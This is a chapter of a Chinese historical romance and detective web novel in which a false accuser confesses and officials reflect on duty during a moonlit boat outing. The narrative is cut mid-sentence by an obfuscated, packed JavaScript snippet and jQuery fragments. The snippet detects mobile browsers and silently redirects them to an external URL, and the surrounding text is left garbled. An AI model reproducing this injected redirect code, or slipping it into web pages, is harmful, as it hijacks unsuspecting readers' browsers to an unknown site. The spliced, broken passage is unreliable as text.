默认冷灰
24号文字
方正启体

59. 伊人如梦(一)

作者:水蘅一本书字数:K更新时间:
    五日后,卢丁被押回了府衙。


    卢丁年已四十,布衣于身,原也是纨绔子弟,后家族耗光基业,难以东山再起,因自小长于陵州城,好大面子不愿受亲戚故朋多口舌,奔于外地,今以为人写诉状为生。此次,小吏在邻城治州将其找到并押回了陵州城。


    卢丁入了衙门,跪于公堂之下,而他的左侧是他的发小傅老爷。


    傅老爷摇头,“我也未曾想过,写告状的人竟是你,你若对我有恨,便来害我就好,你竟要害我全家。”


    卢丁低着头不说话。


    魏熤对着朝堂之下,“堂下可是卢丁。”


    “小人卢丁是也。”


    “今已查明,傅府家室清白,与先朝梁王并无关系,也并无谋反之意,堂下卢丁,今以诬告罪行之,时至今日,若不肯自认其罪,便以谋逆罪处决之,书至官家,灭卢九宗。”


    “官爷,官爷,手下留情,我认,我认,我这就将事情往来告知。”


    原是卢丁与傅老爷自小便是一起长大,如今卢丁家族没落,他见傅家依旧家财万贯、名扬如故,心生嫉妒,便诉状一封递至应天府,原以为应天府会派人查清一番,唬得傅家战战兢兢,给傅家一些教训就好,没想到应天府看着定的罪名如此之大,便直接将案子递到了京都的大理寺,而卢丁听闻大理寺魏寺正来陵州城之时,他早就趁着城门开启,逃之夭夭了。


    如今,闹到这个地步,他是多年情分未得,家族名声也败了。


    真相大白后,魏熤就定罪卢丁流放三千里,配役三年。


    如今明嘉表姐的诉状书也已递上去了,张楚林那厢也找到了当初给娄娘子和庄生作婚书的族长,将证词和证物一并给到了苏知州,苏知州也已将案子的来龙去脉理清,此事因横跨两地,牵扯到雁州,他已去信至雁州知府,将庄生捉拿定罪,此事也算了结了。


    明嘉还听张楚林说起,那位娄娘子昨日就已经动身出发去雁州了。


    明日,明嘉就要离开陵州,回雁州去了。


    夜里,明嘉正停在魏熤的门外,想着要和他告别。


    此时,苏知州来了,“明姑娘也在啊,正好,今日夜色尚好,明日魏寺正就要离开陵州了,我想着今夜便邀他去陵河上行舟小饮几杯,明姑娘也一起。”


    明嘉忙摆手,“不必了,多谢苏知州相邀,明嘉就不去了,你们去就好。”


    “明姑娘定是还没见过这陵河上的夜色呢,皎皎明月,映在河面上,银光流动,若是运气好,还能看到鲤鱼跃起,弧形身躯与这新月相得映彰,月光下的鱼鳞异彩纷呈,这河面上的星光也是别具一格的,若是运气好,流星漫天,也是有的。明姑娘,你不一起去吗?”


    魏熤听得声音便推开了门,“苏知州,与君相见,终须一别,不如你和宋提刑先准备着,我们随后就到。”


    “也好,明姑娘,你可一定要来啊。”


    明嘉微笑着和苏知州行礼,送完苏知州,她便说道,“我明日就要走了。”


    “我知道。”


    “这些日子,张楚林总是说一些奇奇怪怪的话,你不要当真啊,我已经弄完了我表姐的案子,我也就回雁州城了,你呢,你也查完傅家的案子,也就回汴京城了,所以呢……所以,你可不可以不要当真?”


    “明日,我送你回雁州。”


    “啊?”明嘉无言,他到底有没有听我说话啊,我们查完各自的案子,就回各家好啦,他送我干嘛。


    “明日,我和你一起,回雁州。”


    “你也要去雁州,为得公事?”


    “是我自己的事情。”


    “哦,明日,你真的和我一起?那我还要不要去苏知州那里。”


    “走吧,你不是也很想看看夜里波光粼粼的陵河吗?”魏熤虚虚推着明嘉的后背,轻声说,“我们去蹲蹲,有没有跃龙门的鲤鱼就回,好不好。”


    “那,那去吧,我们去去就回。”明嘉抬眼看着站在她左手边的魏熤,哎呀,我在和他说什么,感觉自己像个呆瓜一样。


    四人同舟,每每两人对立而坐,小舟上空余一张四角桌,一盏酒,几碟小菜,笑谈风生,渔夫立在船头,雨蓑风笠,棹桨推舟,与月同游。


    皎皎明月在云层里,半羞半遮面,素素玉轮在水河上,缕缕丝绸带,银银流光在佳人的脸庞上,笑颜灿烂若花。


    魏熤侧着脸看着她的笑颜,浅浅的笑窝在淡白色的月光下闪烁,如同夜空里若隐若现的荧荧之星,她的眼睛也像是装满了清澈的溪水,目光温婉却又坚定。


    明嘉听得对面两位官员谈起他们在官场上的见闻,免免不了感慨。


    原来人登峰至能臣,如他们这样的位置,却依旧有许多的不如意和不得志。


    “明日,魏寺正就要离开陵州了,此后,魏寺正,前途无量,如日方升。”


    “苏知州、宋提刑,我以茶代酒,多谢这几日两位的多加照顾,来日我们后会有期。”


    三人举杯同饮。三人孤傲正义的身影落在这银色的水面上。


    苏知州慢慢放下酒盏,“魏寺正,你在汴京城要多加小心,定不要随波逐流,与人为蝇,那地方官场险恶,有人谋名谋利,分我杯羹,有人只手遮天,以权谋私,魏寺正,你是朝堂上少许清廉方正、独清独醒的骨鲠之臣,若是假以时日,必定能顿纲振纪、正本清源。”


    “苏知州,钟淮才疏学浅,要达到先朝尚书鲁宗道如松竹高风亮节、刚正不阿、正谏不讳的岭峰,唯至十年之寻。”


    “魏寺正自谦了,在你这般年纪,做到如此地步的,我宋某也只见过你一人,我信你,总有一天,陵州也会听得汴京城里你的扬名。”


    宋提刑低头叹气道,“不比我,如今又是三年过去,我还是在老位置上朝廷未有提拔,日日繁琐,日日杂事,如此一日复一日,那些要改变的世道,那些要翻篇的仇怨,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359795|199741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那些心中要实现的道义,都没有变动,正如庄户翻新的田地,这石子太硬,我们都没有翻动。”


    宋提刑接着自饮自说,“之于陵河,我们不过是游舟行客,之于天地,我们也不过是之如蜉蝣,朝生暮死,间刻罢了,何必较真,又何必苦求,之于这轮新月,古来今往,我们和前人,于它又有何不同,如此一想,所谓追求,所谓存亡,都无大意罢了。”


    魏熤劝慰,“宋提刑,可不能如此想,对于世道的难,我们能做到的,必定只能是力所能及,在此之外的,虽不能改变,却也可以有影响,我相信,正如史记上会记载,后人会看到,会思索,前人虽和我们相同,但时过境迁,后人必会有所不同。我们未能做到,未能实现的大义,所谓同根同源,骨血相融,代代相传,他们也一定可以做到的。”


    苏知州在一旁笑道,“如我说,何苦想得如此多,以大世界观之,我们与天地存息不过一瞬,以小世界观之,我们与天地恒存之。一呼一吸之间,我们能拂之清风,见之明月,听之雁鸣,皆是天地之间的馈赠,是取之不尽用之不竭的永恒,而你我共拥有。受之天地之所造,馈之吾尔之所及,甚好。”


    苏知州又问,“明姑娘,你和我们不同,你活得通透,不如,你也来说说你的想法。”


    “我的所见与苏知州所相同,当下我们存在在这个世道,世道不公,行事规束,我们却比爬蚁身躯大,比虎虫有思想,我们手上的武器和力量虽搬不走一座大山,却也可以刨一片地,种一年粮食,我们活着的每一个时辰,就可以帮百姓寻找一个真相,这些都是道义,我们心中有天地,也许,在现在看来是空想,是虚无,也许,也只是一个笑谈,它随风起,又随风灭,那些念想,之于我们很是遥远,但是,当下,明日要奔走的地方,递到府衙的案子,黑夜燃烧的烛光,都是意义,是我们为之奔忙的意义,也许枯燥,也许明日复明日。”


    “讲得好,不曾想,诸位年纪比我轻,却都是我宋某的老师啊。”宋提刑仰天长笑,“听君一席言,胜读十年书,此后时日,每逢遇不快之事,定能想起此夜话谈,以督吾朝乾夕惕、栉风沐雨。”


    星层已褪,月色渐暗,小舟行至岸边,魏熤和明嘉先行下船,苏知州和宋提刑留在船上还要把酒言欢,吟诗诵月。


    魏熤同明嘉行在河岸上,忽然,明嘉停下来了,她看向不远处,不远处水边生长的芦苇,雪白如棉的芦苇花在风里晃头晃脑,轻舞身姿,“雁州有许多的湖泊,湖泊上不乏是这样的芦苇,丛丛密生,亭亭净植,春日里绿野葱葱,夏日就冒出这样青白色的芦苇花,毛绒绒地很让人喜欢,秋日芦絮飞花,在湖面上轻飘,冬日是枯黄的秸秆,风霜耷拉它的身姿。来年春天,青青葱葱地长满水岸,任凭四季更迭,它永无止尽。”


    “你,想家了,想回雁州了?”


    “是啊,祖母肯定很想我了。”


    “你在这里,等我一下。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)